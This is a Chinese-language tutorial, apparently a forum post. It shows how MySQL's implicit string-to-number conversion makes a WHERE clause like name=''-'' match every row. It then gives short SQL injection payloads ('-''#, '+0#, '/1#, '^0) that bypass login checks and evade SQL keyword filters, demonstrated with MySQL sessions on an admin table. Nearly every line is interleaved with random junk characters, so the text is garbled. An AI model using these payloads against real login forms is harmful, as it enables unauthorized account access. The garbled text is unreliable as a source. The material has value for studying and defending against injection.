我们先来看这样一个场景。1 b' I5 B2 ~ x' }2 i# D/ G* P
有以下表结构: ) N1 W% s6 ^) S2 ^% x" |$ x
) b9 O4 v3 f( y9 N
mysql> desc admin;; Y3 X- U( o8 O. Y& U& i% i1 F
+----------+--------------+------+-----+---------+----------------+1 @$ \7 \# U% N, U" E
| Field | Type | Null | Key | Default | Extra |
5 L- A* Y# b6 b' F7 L. Y+----------+--------------+------+-----+---------+----------------+0 n$ f' }4 I; Q9 k7 V/ R# o2 v
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
4 p1 K5 |3 e! u+ l& G3 o: W| name | char(32) | NO | UNI | NULL | |5 R" A' Q5 h" Q6 D% h
| password | char(32) | NO | UNI | NULL | |
- D7 ~8 P( v' W/ w+----------+--------------+------+-----+---------+----------------+
! c! B5 c$ [+ q0 H9 C9 |3 rows in set (0.00 sec)
3 J1 N8 d+ n! u5 k4 M0 B执行select * from admin;,成功返回所有记录内容。
4 U0 r/ e: ]* R: p% ?3 Q# O
, J* a8 ?. }% K
/ G) j0 p2 |" A+ L {+----+--------+----------------------------------+
6 g2 ?" _( [8 E, {% f4 ?| id | name | password |
1 o/ k0 h/ e0 O! h0 S) G! l- b1 {+----+--------+----------------------------------+- M0 t& ?% h, K# K' g
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
: y( R/ g8 D+ z# ^3 N" l| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
4 W: O; E- D5 e3 C/ A| 4 | n00b | ff80e8508d39047460921792273533a4 |8 }* `; k+ S7 x8 v: i+ G
+----+--------+----------------------------------+; C$ b+ G, h) A! E' t' ^( a1 w
3 rows in set (0.00 sec)
/ L) O2 T8 U5 @8 h" @5 x% m执行select * from admin where name=”;,没有匹配到任何记录。 ; |4 L4 H1 H- {( q4 H' x
6 F( u+ V3 w }9 Y0 I: B
mysql> select * from admin where name = '';
7 D A; N1 v4 UEmpty set (0.00 sec)
5 v1 F0 ]0 d( O, @5 }9 h6 g2 V- H那么我们来执行select * from admin where name = ”-”;
: L$ ?, y0 L2 Z5 K$ Y6 S+ c3 ?- W# L
7 m/ ]+ q/ D7 o4 ~, W- n; M
+----+--------+----------------------------------+5 x: \7 U9 }' I5 Y- d
| id | name | password |
% l3 F" s# B, t, T+----+--------+----------------------------------+1 L6 M/ s, s9 I+ E' _8 H
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |, u6 a: b) Z7 B, L2 q5 T
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |/ ~2 Y5 P: P! H. P2 D( n
| 4 | n00b | ff80e8508d39047460921792273533a4 |0 F% X7 ~8 H* r, e6 K: C
+----+--------+----------------------------------+; J j- _# V; T' B
3 rows in set, 3 warnings (0.00 sec)
" I `3 n g9 B) n* p% U% s+ I可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: , h+ \8 l2 P9 q; b: y
* e% X0 y1 U' P4 Wmysql> show warnings;
* y$ V, Y, {- Z2 c T* q1 H; S6 F+---------+------+------------------------------------------
- C8 p6 S! v2 V; C: r1 W+ x/ Q| Level | Code | Message
: \5 {; r, ]1 ^+---------+------+------------------------------------------
5 V" p' ^1 ~, }! ^6 ]| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin# Q" q) X" j7 m& m
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s; o7 |2 E" K' Q, A4 @. w
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
: u$ b% u, r2 Y7 S, V% A9 j+---------+------+------------------------------------------( r1 p) F$ e+ H; x
3 rows in set (0.00 sec)- L- x/ E! e1 v! R- o
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 , F2 ?, r' m1 _0 M# `( M6 J
% v8 p# A$ X0 f
mysql> select ''-'';0 X) \6 }5 t, b4 y
+-------+/ W% p# P' z& c0 h# k' @+ s& q
| ''-'' |
- u2 R# k: E7 l9 F% b$ }2 C+-------+
( o9 o, Q/ H. {# W6 ?0 B' D| 0 |
; a# @: i# Q/ G$ T( t9 G1 A3 ~. ]+-------+( @( U& x% V; D' P4 a9 Z
1 row in set (0.00 sec)( P5 c; E6 O; ]+ v1 Z6 B2 o& q
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: - E% ^: G# X% p5 B: f6 u4 g4 p
% k0 N/ L! d( S/ R* f7 N+ W3 n9 ~6 \& j
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);+ D: [( W9 T8 s5 {& g( k% U
+-----------------------------------------------------+8 ~" q, n" ^' f% h/ l
| CAST((select name from admin limit 1,1) as DECIMAL) |
4 Q$ v9 n# [' r% `- t+-----------------------------------------------------+
: q8 Z9 v% S3 S* O9 }2 h| 0 |
+ F1 F7 d/ L5 g8 B& y. {" O+-----------------------------------------------------+
* m3 b0 v& b; z1 row in set, 1 warning (0.00 sec)
6 ], v% m$ S7 V9 s因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 b. M( u% w9 q
9 s0 C" w6 p9 `SQL注入场景: http://www.sqlzoo.net/hack/ ( H0 B; C3 f7 G7 n+ z+ H: S7 p
+ ~/ u( b& C4 }: j! O1 z8 l
. ~, G% l% ]$ X+ k- T
& ]: } y! K( S6 r/ c8 }4 A2 d& a
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 $ L" w/ ~& u6 h
/ H" K2 S1 b) A
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 - T# |' ~( G: H) m9 R# S% q/ W
, m, e$ ?* M" O; m& l
k! T- k. I, ]3 @- X# |/ s6 _" h4 o% Z" z* v$ p& k5 F
s @! N- C9 R, x( l# R$ c/ L仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
4 k9 ~* z6 ?. n4 o3 w5 O; E+ M. _- [9 D8 Q2 `
7 \3 y5 ?0 P3 w: O9 e# z
2 w0 ` `0 _4 ^: p
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
: S$ C- W1 E" J% l7 J
* ?6 z* ~0 ^+ Q, o# ]) n( i; ^
+ ^2 w9 b% S+ i/ b4 F; |; x1 Amysql> select ''/1;
z/ H/ M( C- K& X3 q5 k6 i+------+
, }1 X' n* L. e- j4 H8 }. d) H| ''/1 |- l5 z: n4 V1 z9 ^: o6 G
+------+9 g( @1 V' Q" g* I/ K8 O
| 0 |9 |% y% ~2 A0 ~
+------+
$ d$ R$ V( o1 @* A# h% U( ~1 row in set (0.00 sec)# P# v% y# r/ g
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 + I! [& z5 \3 g2 X/ Y9 f' X* R
. B k/ [* `$ a. A$ E利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 D/ {( n/ `' E) V |
|